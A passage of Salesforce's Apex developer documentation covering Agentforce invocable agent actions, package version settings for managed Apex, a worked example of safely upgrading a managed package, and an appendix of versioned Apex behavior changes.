Use @InvocableMethod to Define the Action

To define an Apex agent action, use the [@InvocableMethod](#) on page 96 annotation and follow these requirements.

- Your Apex method must be [global static](#).
- Your Apex method must be annotated with `@InvocableMethod (label='Your Action Name' description='Clear, concise description of what the action does' category='Your ISV App Name')`.
 - Use clear and descriptive `label` and `description` modifiers. The Agentforce reasoning engine uses them to determine when to invoke the action. Subscriber admins configuring Agentforce also use them to help decide which [agent topics](#) to add the action to.
 - Use the `category` modifier to help organize actions. We recommend using your ISV app name.

 **Note:** Only one method in a class can have the [@InvocableMethod](#) annotation. Create a separate [global](#) Apex class for each agent action in your managed package.

Structure Inputs and Outputs with Global Wrapper Classes

In addition to the requirements of using [global](#) Apex and the [@InvocableMethod](#) annotation, we also recommend using custom [global](#) classes to structure input and output parameters. By using parameter objects, you avoid changing the [global](#) method signature when you modify the parameters of the agent action. To learn how to use this pattern, see the [Use Parameter Objects for Global Method Inputs and Return Types](#) on page 774 section of [Best Practices for Using Global Apex in Managed Packages](#) on page 772. Then review these targeted guidelines to implement Apex agent actions using this pattern.

Because you can't change managed [global](#) method signatures, make signatures flexible.

- Define [global](#) inner Apex classes to serve as containers for input and output parameters. These classes can be in the same top-level class as the invocable method.

- Annotate both input and output classes with `@JsonAccess(serializable='always' deserializable='always')`. The `@JsonAccess` annotation on page 111 governs the serialization and deserialization of managed Apex. Because Agentforce serializes and deserializes complex Apex types from an unmanaged context at run time, both `@JsonAccess` parameters must be set to `'always'`.
- Within these input and output classes, declare `global` member variables annotated with `@InvocableVariable(label='User-Friendly Name' description='Description of this parameter' required=true/false)`.
 - Use clear and descriptive `label` and `description` modifiers, so that subscribers can configure the inputs declaratively, and Agentforce can understand the output.
 - Set the `required` modifier as `true` or `false` to specify whether the input is required for the agent action to run. This modifier also helps subscriber admins configure your actions.
- Define the invocable method to accept a `List` of its input class type, for example `List<MyInputAction> requests`.
- Define the invocable method to return a `List` of its output class type, for example `List<MyOutputAction> results`.

Example Code for an Apex Agent Action

In this example, the `getCoordinates` method is defined as an `@InvocableMethod` so it can be invoked by Agentforce. The method accepts a list of `GeocodingRequest` objects and returns a corresponding list of `GeocodingResponse` objects. The input and output wrapper classes are both annotated with `@JsonAccess(serializable='always' deserializable='always')` so Agentforce can serialize and deserialize the objects from an unmanaged context. The properties of both wrapper classes are defined as `@InvocableVariable` so an admin can configure them declaratively. The `label` and `description` modifiers in both `@InvocableMethod` and `@InvocableVariable` are important because they help the Agentforce reasoning engine to understand how to use the action.

```
// --- ISV's Managed Package Code ---
// --- 1. The Global Entrypoint Class ---
// This class contains the @InvocableMethod and the input/output wrapper classes.
global with sharing class GeocodingAction {
    // This method is the thin, global entry point that delegates any business logic to a
    // separate public class.
    @InvocableMethod(
        label='Get Coordinates for Address'
        description='Retrieves the latitude and longitude for a given street address.'

        category='My ISV App Name'
    )
    global static List<GeocodingResponse> getCoordinates(List<GeocodingRequest> requests)
    {
        // Delegate the entire list to the internal logic class to ensure
        // any callouts or DML can be performed in bulk.
        GeocodingLogic logic = new GeocodingLogic();
        return logic.performGeocoding(requests);
    }

    // --- Input Wrapper Inner Class ---
    // Defines the parameters an admin can configure for this action.
    @JsonAccess(serializable='always' deserializable='always')
    global with sharing class GeocodingRequest {
        @InvocableVariable(label='Street' required=true)
        global String street;
    }
}
```



```

        @InvocableVariable(label='City' required=true)
        global String city;

        @InvocableVariable(label='State/Province' required=true)
        global String state;

        @InvocableVariable(label='Postal Code' required=true)
        global String postalCode;
    }

    // --- Output Wrapper Inner Class ---
    // Defines the structured result returned to Agentforce.
    @JsonAccess(serializable='always' deserializable='always')
    global with sharing class GeocodingResponse {
        @InvocableVariable(label='Was Successful')
        global Boolean isSuccess;

        @InvocableVariable(label='Latitude')
        global Decimal latitude;

        @InvocableVariable(label='Longitude')
        global Decimal longitude;

        @InvocableVariable(label='Error Message')
        global String errorMessage;
    }

    // Static factory methods for creating consistent results.
    public static GeocodingResponse success(Decimal lat, Decimal lon) {
        GeocodingResponse result = new GeocodingResponse();
        result.isSuccess = true;
        result.latitude = lat;
        result.longitude = lon;
        return result;
    }

    public static GeocodingResponse error(String message) {
        GeocodingResponse result = new GeocodingResponse();
        result.isSuccess = false;
        result.errorMessage = message;
        return result;
    }
}

// --- 2. The Internal Logic Class (Public, not Global) ---
// This is where the actual business logic lives.
// It's separate from the global entry point class for better organization and testing.
public with sharing class GeocodingLogic {
    // Since we defined the inputs and outputs as inner classes, we use dot notation to
    // reference them.
    public List<GeocodingAction.GeocodingResponse>
    performGeocoding(List<GeocodingAction.GeocodingRequest> requests) {

```

```

    List<GeocodingAction.GeocodingResponse> results = new
List<GeocodingAction.GeocodingResponse>();

    // This method would contain your complex, bulkified business logic.
    // For example, you can aggregate all requests into a single callout
    // to an external geocoding service.

    // For this simplified example, we loop and return mock results.
    for (GeocodingAction.GeocodingRequest req : requests) {
        // In a real implementation, you would perform a callout and handle errors.
        if (req.postalCode == '94105') {
            results.add(GeocodingAction.success(37.7749, -122.4194));
        } else {
            results.add(GeocodingAction.error('Address could not be found.'));
        }
    }
    return results;
}

```

SEE ALSO:

[Best Practices for Using Global Apex in Managed Packages](#)
[Access Modifiers](#)
[InvocableMethod Annotation](#)
[InvocableVariable Annotation](#)
[Use the with sharing, without sharing, and inherited sharing Keywords](#)
[Set an Access Mode for Database Operations](#)
[Salesforce Developers Blog: Build Custom Agent Actions Using Apex](#)

Use Apex Referenced by Managed Packages

Learn how to use managed Apex effectively as a managed package subscriber.

[Set Package Versions for Apex Classes and Triggers](#)

As a managed package subscriber, you can specify which package version that your managed Apex classes and triggers use. Set the package version in Setup, through metadata deployments, or with API requests.

[Managed Apex Considerations for Package Subscribers](#)

As you use managed Apex, keep these considerations in mind.

Set Package Versions for Apex Classes and Triggers

As a managed package subscriber, you can specify which package version that your managed Apex classes and triggers use. Set the package version in Setup, through metadata deployments, or with API requests.



Note: In Summer '25 and later, package subscribers can use version settings to specify the version of a migrated second-generation managed package (2GP) that an Apex class or trigger depends on. This functionality is already available to first-generation managed packages (1GP), but isn't yet supported in 2GP packages that weren't converted from a 1GP package. See [Apex Version Settings in Migrated Second-Generation Managed Packages \(2GP\)](#).

A package version is a number that identifies the set of components uploaded in a package. The version number has the format `majorNumber.minorNumber.patchNumber` (for example, 2.1.3). The major and minor numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch release.

If you install a new package version, only one instance of each component exists in the package, but the components can emulate older versions. Say that you use a managed package that contains an Apex class. If the publisher decides to deprecate a method in the Apex class and release a new package version, you still see only one instance of the Apex class after installing the new version. However, this Apex class can still emulate the previous version for any code that references the deprecated method in the older version.

By default, an Apex class or trigger that references a managed package is associated with the package version installed when that class or trigger was last saved or deployed. For example, say that you install version 1.0 of Package A, and then create and deploy an Apex class that references that managed package. If you upgrade to version 2.0 of Package A but don't redeploy the class, then the class remains associated with version 1.0. However, if you upgrade Package A to version 2.0 and then redeploy the class, then the class is now associated with version 2.0.

You can override the default package version settings for an Apex class or trigger. When set to a specific package version, the class or trigger views the package's global Apex as if that version was installed. Explicitly setting a package version is useful if your class or trigger relies on an older shape of a packaged component. For an example where overriding the default package version is vital to maintain backwards compatibility, see [Safely Upgrade Packages from Developer and Subscriber Perspectives](#) on page 785.

SEE ALSO:

[Version Apex in Managed Packages \(for package developers\)](#)

[Safely Upgrade Packages from Developer and Subscriber Perspectives](#)

Set a Package Version in Setup

Associate an Apex class or trigger with a specific package version in Setup.

To configure the package version settings for an Apex class or trigger:

1. From Setup, enter *Apex Classes* or *Apex Triggers* in the Quick Find box, and then select **Apex Classes** or **Apex Triggers**.
2. From the list, click **Edit** for the Apex class or trigger that you want to configure.
3. Click the **Version Settings** tab.
4. From the Version dropdown for the managed package, select the desired version referenced by the class or trigger.
The class or trigger continues to use this version even if you install later versions of the managed package, unless you manually update the version setting.
5. Click **Save**.



Note: If the package is referenced in the class or trigger, you can't remove a class or trigger's version setting for a managed package. To find where the class or trigger references a managed package, on the class or trigger's Detail page, click **Show Dependencies**.

Set a Package Version in Metadata API

Associate an Apex class or trigger with a specific package version by using Metadata API.

With the [PackageVersion](#) field, you specify a managed package version in an Apex class or trigger's metadata.

1. Identify the managed package's reference ID. This ID is either the subscriber package ID for migrated 2GP managed packages or the package namespace for 1GP managed packages.
 - a. From Setup, in the Quick Find box, enter *Installed Packages*, and select **Installed Packages**.

- b. Locate the installed package that you want to reference and click the Package Name.
 - c. On the Installed Package Detail page, locate the Version Setting field. The field identifies the type of reference ID.
2. In the Apex class or trigger's metadata file, add a `<packageVersions>` element. If your Apex class or trigger references multiple managed packages, include a separate `<packageVersions>` element for each package.
 3. Within the `<packageVersions>` element, add the required fields and the desired values.
 - For migrated 2GP managed packages, add the `packageId` field.
 - For 1GP managed packages, use the `namespace` field instead.



Example: Here's an example declarative metadata definition of an Apex class that references a migrated 2GP managed package.

```
<?xml version="1.0" encoding="UTF-8"?>
<ApexClass xmlns="http://soap.sforce.com/2006/04/metadata">
  <apiVersion>66.0</apiVersion>
  <packageVersions>
    <majorNumber>3</majorNumber>
    <minorNumber>0</minorNumber>
    <packageId>033xx0000000001</packageId>
  </packageVersions>
  <status>Active</status>
</ApexClass>
```

Here's an example declarative metadata definition of an Apex class that references a 1GP managed package.

```
<?xml version="1.0" encoding="UTF-8"?>
<ApexClass xmlns="http://soap.sforce.com/2006/04/metadata">
  <apiVersion>66.0</apiVersion>
  <packageVersions>
    <majorNumber>3</majorNumber>
    <minorNumber>0</minorNumber>
    <namespace>pkg1</namespace>
  </packageVersions>
  <status>Active</status>
</ApexClass>
```



Note: Metadata Usage Note for Migrated 2GP Packages

If you set a package version for an Apex class or trigger that references a 1GP managed package before Summer '25, your existing version settings remain valid when the developer migrates the package to 2GP.

If you retrieve metadata using Salesforce API version 61.0 and earlier, `<namespace>` is still used in the `<packageVersions>` section of the `meta.xml` file to identify the referenced migrated 2GP package. If you retrieve metadata using API version 62.0 and later, `<packageId>` is used in the `<packageVersions>` section instead.

An error can occur if you deploy metadata using `<packageId>` to an org that still has the 1GP or 2GP pre-migrated version of the package installed. To resolve this issue, either upgrade the target org to the migrated package, or edit the `<packageVersions>` section to use `<namespace>` instead.

Set a Package Version in API Requests

Specify a managed package version by using the package version header in your API request.

1. Identify the managed package's reference ID. This ID is either the subscriber package ID for migrated 2GP managed packages or the package namespace for 1GP managed packages.

- a. From Setup, in the Quick Find box, enter *Installed Packages*, and select **Installed Packages**.
- b. Locate the installed package that you want to reference and click the Package Name.
- c. On the Installed Package Detail page, locate the Version Setting field. The field identifies the type of reference ID.

If the Version Setting field is set to `packageID`, then the value of the Package field is the package's reference ID. If the Version Setting field is set to `namespace`, then the value of the Namespace field is the package's reference ID.

2. Set the package version header according to the managed package's reference ID and the desired package version.
 - For REST API calls, use the `x-sfdc-packageversion-[packageId/namespace]` header. See [Package Version Header](#) in the *REST API Developer Guide*.
 - For SOAP API calls, use the `PackageVersionHeader` header. See [PackageVersionHeader](#) in the *SOAP API Developer Guide*.

 **Note:** If a package version isn't specified in a request header, the API client uses the version of the package specified in Setup. To set this value, from Setup, enter *API* in the Quick Find box and select **API**. Then click **Configure Enterprise Package Version Settings** under Enterprise Package Version Settings.

Managed Apex Considerations for Package Subscribers

As you use managed Apex, keep these considerations in mind.

- If a package developer deprecates a global Apex identifier in a managed package, you can only reference that identifier if you specify a package version between the creation and the deprecation of the identifier. Identifiers include global Apex methods, classes, exceptions, enums, interfaces, properties, and class variables. This behavior applies to both static and dynamic references, such as identifiers accessed with the `Type.forName()` method, the `instanceof` on page 86 keyword, and the `ApexTypeImplementor` object.
- Similarly, if a package developer deletes a schema from a managed package, you can only reference the schema in Apex if you specify a package version before the deletion of the schema. This behavior applies to both static and dynamic references, such as objects and fields accessed with `Schema.describe()` methods.

Safely Upgrade Packages from Developer and Subscriber Perspectives

Learn how to upgrade a managed package safely through this extended example. See the actions that package developers and subscribers can take to ensure a smooth transition and safeguard the backwards compatibility of existing integrations.

These sections follow an example package developer and package subscriber as they move through a managed package upgrade process.

1. Package Developer: Publishes Version 1.0

The package developer publishes version 1.0 of a 1GP managed package in the `eshop` namespace. The package contains Apex `CustomCart` and `CartCalculator` classes.

```
/**
 * CustomCart
 * Simple container for item prices used in a managed package context.
 * @version 1.0
 * @since 1.0
 */
global with sharing class CustomCart {

    global List<Decimal> itemPrices;
```

```

    global CustomCart() {
        this.itemPrices = new List<Decimal>{0.0};
    }
}

/**
 * CartCalculator
 * Handles tasks about calculating items and prices in customer carts.
 * @version 1.0
 * @since 1.0
 */
global virtual class CartCalculator {
    /**
     * Adds item prices in a custom cart.
     * @param c A CustomCart object that represents a list of items that the customer
     * wants to buy
     * @return A Decimal object that represents the total price of items in the
     * cart
     * @version 1.0
     * @since 1.0
     */
    global virtual Decimal getTotalPrice(CustomCart c) {
        Decimal price = 0.0;
        // Add up items in cart
        for (Decimal itemPrice : c.itemPrices) {
            price += itemPrice;
        }
        return price;
    }
}

```

2. Package Subscriber: Adds Functionality by Overriding a Method

The package subscriber installs version 1.0 of the managed package, but they find that the existing `CartCalculator` class is inadequate. They want the ability to factor shipping costs into the total cart price.

So, the subscriber extends the `CartCalculator` class in the managed package with a custom `CartCalculatorWithShipping` class. They override the `getTotalPrice()` method so that the total price includes the shipping cost.

```

// Package Subscriber - CartCalculatorWithShipping.cls

/**
 * Handles tasks about calculating items and prices in customer carts,
 * including shipping costs.
 */
public with sharing class CartCalculatorWithShipping extends eshop.CartCalculator {

    /**
     * Adds item prices in a cart and adds the shipping cost to the total price.
     * @param c A CustomCart object that represents a list of items that the customer
     * wants to buy
     * @return A Decimal object that represents the total price of items in the

```

```

    * cart, including the shipping cost
    */
    public override Decimal getTotalPrice(eshop.CustomCart c) {
        return super.getTotalPrice(c) + getShippingCost(c);
    }

    /**
    * Get the shipping cost based on the items in a customer's cart
    * @param c A CustomCart object that represents a list of items that the customer
    * wants to buy
    * @return A Decimal object that represents the total shipping cost
    * for the cart
    */
    public Decimal getShippingCost(eshop.CustomCart c) {
        // Flat rate shipping
        return 20.0;
    }
}

```

3. Package Developer: Releases Version 2.0 and Implements the Subscriber's Custom Functionality

The package developer releases version 2.0 of the managed package. In this version, the `CartCalculator` class now includes a native shipping cost calculator. The updated `getTotalPrice()` method calls the new `getShippingCost()` method. Notice that the package developer uses the same method name for `getShippingCost()` as the subscriber does for their custom override method.

```

// Package Developer - CartCalculator.cls

/**
 * Handles tasks about calculating items and prices in customer carts.
 * @version 2.0
 * @since 1.0
 */
global virtual class CartCalculator {
    /**
    * Adds item prices in a cart, including the shipping cost
    * @param c A CustomCart object that represents a list of items that the customer
    * wants to buy
    * @return A Decimal object that represents the total price of items in the
    * cart, including the total shipping cost
    * @version 2.0
    * @since 1.0
    */
    global virtual Decimal getTotalPrice(CustomCart c) {
        Decimal price = 0.0;
        // Add up items in cart
        for (Decimal itemPrice : c.itemPrices) {
            price += itemPrice;
        }
        return price + getShippingCost(c);
    }

    /**

```

```

* Get the shipping cost based on the items in a customer's cart
* @param c A CustomCart object that represents a list of items that the customer
* wants to buy
* @return A Decimal object that represents the total shipping cost
* for the cart
* @version 2.0
* @since 2.0
*/
global virtual Decimal getShippingCost(CustomCart c) {
    // Flat rate shipping
    return 20.0;
}
}

```

4. Package Subscriber: Upgrades to Version 2.0 Without Specifying a Package Version for the Apex Class

By default, an Apex class or trigger is associated with the version of the managed package installed when the class or trigger was most recently deployed.

In this example, the package subscriber created and saved the `CartCalculatorWithShipping` class when the `eshop` managed package was on version 1.0. If the package subscriber upgrades their `eshop` managed package to version 2.0, and doesn't redeploy the `CartCalculatorWithShipping` class, then that class is still associated with version 1.0 of the managed package.

Let's say that the package subscriber upgrades their `eshop` managed package to version 2.0, but does try to redeploy `CartCalculatorWithShipping`. In this case, the subscriber encounters this compilation error: `Method must use the override keyword`: `public Decimal getShippingCost(CustomCart c)`.

This error occurs because there's a mismatch in the shape of the API. The subscriber's original `CartCalculatorWithShipping` class has a `getShippingCost()` method, and the `CartCalculator` class in version 2.0 of the managed package now also includes a `getShippingCost()` method. The subscriber didn't specify a package version for the `CartCalculatorWithShipping` class, so upon redeployment, the class is now associated with version 2.0 of the managed package. Therefore, the subscriber's `getShippingCost()` method technically overrides the `getShippingCost()` method in `CartCalculator`, and so the Apex compiler requires an `override` keyword for the method.

5. Package Subscriber: Sets Apex Class to Package Version 1.0

To avoid this compilation error, the package subscriber explicitly sets a package version for the `CartCalculatorWithShipping` class. When is set to a specific package version, the class views the package's global Apex as if that version was installed.

In this case, setting `CartCalculatorWithShipping` to version 1.0 of the managed package avoids a compilation error because the package's `CartCalculator` class doesn't define a `getShippingCost()` method until version 2.0. As long as the `CartCalculatorWithShipping` class is set to an earlier package version, the package's `CartCalculator` class doesn't expose the `getShippingCost()` method to the subscriber. Therefore, the Apex compiler doesn't flag the subscriber's own `getShippingCost()` method as needing to override the method in the managed package.

To override the default package version for an Apex class or trigger, use the Salesforce Setup UI or the `packageVersions` field of the class's `ApexClass` metadata type. See [Set Package Versions for Apex Classes and Triggers](#) on page 782.



Note: In Spring '25 and earlier, setting Apex classes and triggers to a package version was available for only first-generation managed packages (1GP). In Summer '25 and later, package version setting is also available for migrated 2GP managed packages. Package version setting isn't yet supported in 2GP packages that weren't converted from a 1GP package. See [Apex Version Settings in Migrated Second-Generation Managed Packages \(2GP\)](#).

For migrated 2GP managed packages, the `packageVersions` field of the `ApexClass` metadata type is different from that of 1GP managed packages. 2GP managed packages are identified by their package ID, whereas 1GP managed packages are identified by their namespace. This difference occurs because multiple 2GP managed packages can have the same namespace, whereas 1GP managed packages each require a unique namespace.

For example, here's the metadata file for the subscriber's `CartCalculatorWithShipping` class, where the class is set to version 1.0 of the managed package. Because the package is a 1GP managed package, the namespace is specified instead of the package ID.

```
<!-- CartCalculatorWithShipping.cls-meta.xml -->
<ApexClass xmlns="http://soap.sforce.com/2006/04/metadata">
  <apiVersion>66.0</apiVersion>
  <status>Active</status>
  <packageVersions>
    <namespace>eshop</namespace> <!-- For only 1GP -->
    <majorNumber>1</majorNumber>
    <minorNumber>0</minorNumber>
  </packageVersions>
</ApexClass>
```

6. Package Subscriber: `getTotalPrice()` Returns an Incorrect Value

The subscriber sets the `CartCalculatorWithShipping` class to version 1.0 of the managed package and successfully recompiles the class. However, the subscriber now encounters a new issue at run time: the `getTotalPrice()` method in the `CartCalculatorWithShipping` class returns the wrong total price.

Recall that specifying an earlier package version for an Apex class or trigger hides globals that are defined in later versions during compilation. In other words, setting a package version preserves the shape of the API. However, it doesn't necessarily preserve the behavior of the API at run time.

In version 1.0, the `getTotalPrice()` method in the `CartCalculator` class returns only the base price. But in version 2.0, the `getTotalPrice()` method now returns the price plus the result of `getTotalShippingCost()`. The `getTotalPrice()` method exists in both versions of the managed package, even though its behavior differs. Therefore, even if the subscriber sets the `CartCalculatorWithShipping` class to version 1.0, the `getTotalPrice()` executes with its version 2.0 behavior at run time.

Remember that the subscriber's `getTotalPrice()` method in their `CartCalculatorWithShipping` class overrides the native `getTotalPrice()` method in the managed package. The subscriber's override method adds the `getShippingCost()` result to the result of the native `getTotalPrice()` method. In version 2.0 of the managed package, the native `getTotalPrice()` method already adds the shipping cost, so the shipping cost is erroneously added twice.

```
// Package Developer - CartCalculator.cls (v2.0) (code unchanged)
global virtual class CartCalculator {

    global virtual Decimal getTotalPrice(CustomCart c) {
        Decimal price = 0.0;
        // Add up items in cart
        for (Decimal itemPrice : c.itemPrices) {
            price += itemPrice;
        }
        return price + getShippingCost(c);
    }

    global virtual Decimal getShippingCost(CustomCart c) {
        // Flat rate shipping
```

```

        return 20.0;
    }
}

// Package Subscriber - CartCalculatorWithShipping.cls (code unchanged)
public with sharing class CartCalculatorWithShipping extends eshop.CartCalculator {

    // Now returns the wrong price because getShippingCost is added twice
    public override Decimal getTotalPrice(eshop.CustomCart c) {
        return super.getTotalPrice(c) + getShippingCost(c);
    }

    public Decimal getShippingCost(eshop.CustomCart c) {
        // Flat rate shipping
        return 20.0;
    }
}

```

To resolve this problem without requiring the subscriber to change their code, the package developer must version the behavior of Apex classes and triggers in the package.

7. Package Developer: Implements Backward Compatibility with `System.requestVersion()`

After the package subscriber informs the package developer about the unexpected `getTotalPrice()` behavior, the package developer releases a patch update. Version 2.1 of the package allows the subscriber to keep their original `CartCalculatorWithShipping` class by implementing backwards compatibility with `System.requestVersion()`.

Here's version 2.1 of the `CartCalculator` class that contains an updated `getTotalPrice()` method. In the method, a `callerVersion` variable is set to `System.requestVersion()`, which returns a `Version` object that represents the managed package version of the calling class. A `minVersionWithShippingCost` variable is set to the managed package version that introduced the changed `getTotalPrice()` behavior.

Then, the `Version.compareTo()` method compares `callerVersion` and `minVersionWithShippingCost`. If the caller version is earlier than the version that the shipping cost feature was introduced in, then `getTotalPrice()` returns the price. This value aligns with the original behavior in version 1.0 of the managed package. If the caller version matches or is later than the version that the shipping cost feature was introduced in, then `getTotalPrice()` returns the price addition to the shipping cost.

```

// Package Developer - CartCalculator.cls

/**
 * Handles tasks about calculating items and prices in customer carts.
 * @version 2.1
 * @since 1.0
 */
global virtual class CartCalculator {

    /**
     * Adds item prices in a cart.
     * @param c A CustomCart object that represents a list of items that the customer
     * wants to buy
     * @return A Decimal object that represents the total price of items in the

```

```

    * cart. Total price includes the shipping cost for v2.0 and later.
    * @version 2.1
    * @since 1.0
    */
    global virtual Decimal getTotalPrice (CustomCart c) {
        Decimal price = 0.00;
        // Add up items in cart
        Version callerVersion = System.requestVersion();
        Version minVersionWithShippingCost = new Version(2, 0);
        if (callerVersion.compareTo(minVersionWithShippingCost) < 0) {
            // callVer < minVer that you introduced the shipping cost feature in
            return price;
        } else {
            return price + getShippingCost(c);
        }
    }

    /**
    * Get the shipping cost based on the items in a customer's cart
    * @param c A CustomCart object that represents a list of items that the customer
    * wants to buy
    * @return A Decimal object that represents the total shipping cost
    * for the cart
    * @version 2.1
    * @since 2.0
    */
    global virtual Decimal getShippingCost(CustomCart c) {
        return 20.00;
    }
}

```

By versioning the behavior of `getTotalPrice()`, the package developer has implemented basic backward compatibility for the class. Now, as long as package subscribers set Apex classes to the desired managed package version, then their existing implementations won't break when they upgrade from version 1.0 to version 2.1 of the package.

8: Package Developer: Tests Backward Compatibility with `System.runAs()`

To ensure that `getTotalPrice()` now behaves differently based on the package version of the calling code, the package developer can use `System.runAs()` in their unit tests. This method, which can only be used in test methods, changes the current package version to the package version specified in the argument. Here's a basic unit test that the package developer implements for `getTotalPrice()`.

```

// Package Developer - CartCalculatorTest.cls
@isTest
private class CartCalculatorTest {

    private static final List<Decimal> prices = new List<Decimal>{
        10.0,
        20.0,
        30.0
    };

    @isTest

```

```
static void testGetTotalPrice_WithShippingCost() {
    CustomCart cart = new CustomCart();
    cart.itemPrices = prices;

    CartCalculator calculator = new CartCalculator();

    //Version 2.0 includes the shipping cost calculation
    System.runAs(new Version(2, 0)) {
        Decimal totalPrice = calculator.getTotalPrice(cart);
        // The expected total is sum of item prices (60.0) plus the shipping cost
(20.0)
        Assert.areEqual(80.0, totalPrice, 'The total price should be 80.0');
    }
}

@isTest
static void testGetTotalPrice_WithoutShippingCost() {
    CustomCart cart = new CustomCart();
    cart.itemPrices = prices;
    CartCalculator calculator = new CartCalculator();
    // Version 1.0 doesn't include the shipping cost calculation
    System.runAs(new Version(1, 0)) {
        Decimal totalPrice = calculator.getTotalPrice(cart);
        // The expected total is the sum of item prices (60.0)
        Assert.areEqual(60.0, totalPrice, 'The total price should be 60.0');
    }
}
}
```

Summary: Shared Responsibilities for Safe Package Upgrades

The extended example demonstrates that the package developer and package subscriber both play a role in ensuring safe package upgrades. Here’s a table that summarizes the recommended actions that each actor can take so that the package can evolve without compromising subscriber implementations.

Table 11: Safe Package Upgrade Responsibilities

Goal	Actor	Action
Version API Shape	Package Subscriber	Be aware of the default versioned behavior: an Apex class or trigger is associated with the version of a managed package installed when that class or trigger was most recently deployed or saved. If necessary, override the default by explicitly setting dependent Apex classes and triggers to a specific package version. See Set Package Versions for Apex Classes and Triggers on page 782.
Version API Behavior	Package Developer	Version changed behavior with <code>System.requestVersion()</code> , and

Goal	Actor	Action
		test it with <code>System.runAs()</code> . See Version Apex in Managed Packages on page 767.

SEE ALSO:

[Develop and Distribute Apex for Managed Packages](#)

[Use Apex Referenced by Managed Packages](#)

Apex Reference

In Summer '21 and later versions, Apex reference content is moved to a separate guide called the Apex Reference Guide.

For reference information on Apex classes, interfaces, exceptions and so on, see [Apex Reference Guide](#).

Appendices

[Apex Versioned Behavior Changes](#)

This document includes major Apex behavior changes across API versions, organized by version number for easy lookup. It isn't an exhaustive list of all versioned Apex behavior. For example, this compilation excludes versioned changes to Connect in Apex and classes in the ConnectApi namespace.

[Shipping Invoice Example](#)

[Reserved Keywords](#)

These words can be used only as keywords.

[Documentation Typographical Conventions](#)

Apex and Visualforce documentation uses these typographical conventions.

Apex Versioned Behavior Changes

This document includes major Apex behavior changes across API versions, organized by version number for easy lookup. It isn't an exhaustive list of all versioned Apex behavior. For example, this compilation excludes versioned changes to Connect in Apex and classes in the ConnectApi namespace.

Keep these guidelines in mind regarding API version usage:

- Salesforce strongly recommends that you use the latest available API version.
- If you can't upgrade to the latest version yet, use API versions released in the past three years for improved performance, security, and compatibility.
- To reduce complexity, consolidate your Apex codebase to use the minimal number of API versions, ideally, just one API version.

Version 67.0

Database Operations in User Mode by Default

In API version 67.0 and later, Apex runs in user context by default, meaning that the current user's permissions and field-level security (FLS) are enforced during code execution. In API version 66.0 and earlier, system mode is the default. See [Set an Access Mode for Database Operations](#).

Apex Classes Enforce Sharing by Default

In API version 67.0 and later, classes without an explicit sharing declaration are run in the current user context. In API version 66.0 and earlier, for classes without an explicit sharing declaration, the current sharing rule remains in effect. See [Use the with sharing, without sharing, and inherited sharing Keywords](#).

WITH_SECURITY_ENFORCED Not Supported in SOQL Queries

With API version 67.0 and later, you cannot use the `WITH SECURITY_ENFORCED` clause in SOQL SELECT queries in Apex code. Instead, to run a SOQL or SOSL query in user mode, use the `WITH USER_MODE` clause.

Version 65.0

Access Modifiers with Abstract and Override Methods

In API version 65.0 and later, an abstract or override method requires a `protected`, `public`, or `global` access modifier. If one of these access modifiers isn't explicitly included in the method declaration, then method access defaults to private. Private access is invalid for these method types because the implementing class can't access the abstract method. Therefore, if you attempt to declare an abstract or override method without an allowed access modifier, you get the compilation error: Abstract methods require at least one of these modifiers: `global`, `public`, `protected`. See [Extending a Class](#).

Version 63.0

DataWeave Version

API version 63.0 and later support DataWeave 2.9 script syntax. API version 62.0 supports DataWeave 2.8, and API version 61.0 and earlier support DataWeave 2.5. See [Implementing DataWeave in Apex](#).

JSON Serialization of Exceptions

In API version 63.0 and later, JSON serialization of custom exceptions and most built-in exceptions isn't supported. Attempting to serialize an exception throws an error: Type unsupported in JSON: MyException. See [JSON Support](#).

Version 62.0

DataWeave Version

API version 62.0 supports DataWeave 2.8 script syntax. API version 61.0 and earlier versions support DataWeave 2.5. See [Implementing DataWeave in Apex](#).

Version 61.0

Private Method Override

In API version 61.0 and later, private methods are no longer overridden by an instance method with the same signature in a subclass. In API version 60.0 and earlier, if a subclass declares an instance method with the same signature as a private method in one of its superclasses, the subclass method overrides the private method. See [Interfaces](#).

DMO Information

In API version 61.0 and later, you can get information on a specific DMO by using `SObjectType.getDescribe()`. Field-level security isn't enforced because all fields on DMOs that are accessed by field describes and security model checks are read-only. See [Data Cloud In Apex](#).

Version 60.0**`instanceof` Operator with `List` and `Iterable`**

In API version 60.0 and later, if a `List` data type implements the `Iterable` data type, compilation fails. See [Using the instanceof Keyword](#).

Transaction Control: Savepoints

In API version 60.0 and later, all Apex test savepoints are released when `Test.startTest()` and `Test.stopTest()` are called. If any savepoints are reset, a `SAVEPOINT_RESET` event is logged. In API version 59.0 and earlier, making a callout after creating savepoints throws a `CalloutException` regardless of whether there was uncommitted DML or the changes were rolled back to a savepoint. In API version 60.0 and later, `Database.rollback(databaseSavepoint)` and `Database.setSavepoint()` calls don't increment the DML row usage limit. In API version 59.0 and earlier, these methods increment the DML row usage limit. See [Transaction Control](#).

API Reference Changes

Namespace	Class	Behavior Change
System	Database	API version 60.0 and later: <code>Database.rollback(databaseSavepoint)</code> and <code>Database.setSavepoint()</code> calls don't increment the DML row usage limit. In API version 59.0 and earlier, these methods increment the DML row usage limit. See Database.rollback() .
System	Test	API version 60.0 and later: Apex test savepoints are released when <code>Test.startTest()</code> and <code>Test.stopTest()</code> are called. If any savepoints are reset, a <code>SAVEPOINT_RESET</code> event is logged. In API version 59.0 and earlier, making a callout after creating savepoints throws a <code>CalloutException</code> regardless of whether there was uncommitted DML or the changes were rolled back to a savepoint. See Database.rollback() .
System	Type	API version 60.0 and later: Using an invalid namespace while calling this method returns null. Previously, Apex allowed you to specify an invalid namespace such as <code>Type.forName('InvalidNamespace', 'OuterClass.InnerClass')</code> or use an outer class as a namespace such as <code>Type.forName('OuterClass', 'InnerClass')</code> with indeterminate results. See Type.forName() .

Version 57.0

API Reference Changes

Namespace	Class	Behavior Change
System	Object	API version 57.0 and later: The <code>toString()</code> method only includes member variables of Apex objects that are visible in the current namespace. Non-global properties are suppressed from output when you invoke <code>toString()</code> on managed Apex types. To keep the non-global state of the object visible in debug output, you can explicitly override the <code>toString()</code> method. See Object.toString() .

Version 55.0

@AuraEnabled Annotation

In API version 55.0 and later, overloads aren't allowed on methods annotated with `@AuraEnabled`. See [AuraEnabled Annotation](#).

Version 54.0

API Reference Changes

Namespace	Class	Behavior Change
System	Date	API version 54.0 and later: If you call <code>Date.valueOf()</code> with a Datetime object, the method converts the object to a valid Date without the time information. See Date.valueOf() .
